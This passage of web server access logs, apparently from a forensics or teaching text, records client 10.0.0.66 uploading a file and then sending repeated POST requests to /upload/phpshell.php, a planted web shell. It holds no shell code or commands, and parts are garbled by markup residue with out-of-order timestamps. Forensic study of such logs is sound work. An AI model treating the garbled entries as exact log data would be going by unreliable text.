   /upload/phpshell.php HTTP/1.1" 200 2206
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:36:10 +0100] "GET
   /upload/style.css HTTP/1.1" 304 -
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:36:55 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 2430
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel/3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:36:55 +0100] "GET
   /upload/style.css HTTP/1.1" 304 -
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
```

```
Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:47:34 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 2491
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:47:34 +0100] "GET
   /upload/style.css HTTP/1.1" 304 -
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:47:54 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 3738
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:48:16 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 3929
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux\ i686\ ;\ de\ ;\ rv: 1.9.0.16)\ Gecko/2009121610
   Iceweasel/3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:50:04 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 3941 "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U; 
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:50:04 +0100] "GET
   /upload/style.css HTTP/1.1" 304 -
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:51:30 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 3967
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:56:34 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 4073
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:56:35 +0100] "GET
   /upload/style.css HTTP/1.1" 304 -
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:56:50 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 4095
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel/3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:00:10 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 4153
```

```
"http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:00:10 +0100] "GET
   /upload/style.css HTTP/1.1" 304 -
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:00:16 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 4169
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:03:58 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 4187
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux\ i686\,;\ de\,;\ rv\,{:}1.9.0.16)\ Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:03:58 +0100] "GET
   /upload/style.css HTTP/1.1" 304 -
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux\ i686\,;\ de\,;\ rv\,{:}1.9.0.16)\ Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:08:45 +0100] "POST /upload.php
   HTTP/1.1" 200 82 "http://10.0.0.1/upload.html" "Mozilla/5.0
   (X11;\ U;\ Linux\ i686\,;\ de\,;\ rv\,{:}1.9.0.16)\ Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:08:56 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 4208
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:08:56 +0100] "GET
   /upload/style.css HTTP/1.1" 304 -
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:09:02 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 4232
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:09:14 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 4254
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:09:19 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 4259
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel/3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:09:27 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 5068
```

```
"http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:11:18 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 5120
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:15:59 +0100] "GET
   /upload/phpshell.php HTTP/1.1" 200 5178 "-" "Mozilla/5.0
   (X11; U; Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:15:45 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 638
   "  \label{eq:http://10.0.0.1/upload/phpshell.php"} \mbox{"Mozilla/5.0 (X11; U;} 
   Linux\ i686\ ;\ de\ ;\ rv: 1.9.0.16)\ Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:15:42 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 639
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux\ i686\ ;\ de\ ;\ rv: 1.9.0.16)\ Gecko/2009121610
   Iceweasel/3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:14:59 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 640 "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U; \\
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:11:45 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 5178
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:17:03 +0100] "GET
   /upload/style.css HTTP/1.1" 304 -
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:18:48 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 639
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:18:57 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 1005
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:19:29 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 1068
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel/3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:19:37 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 1143
```

```
"http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:21:25 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 1165
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel/3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:21:25 +0100] "GET
   /upload/style.css HTTP/1.1" 304 -
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:21:56 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 1203
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux\ i686\,;\ de\,;\ rv\,{:}1.9.0.16)\ Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:29:22 +0100] "GET
   /upload/style.css HTTP/1.1" 304 - "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:23:30:17 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 639
"http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
```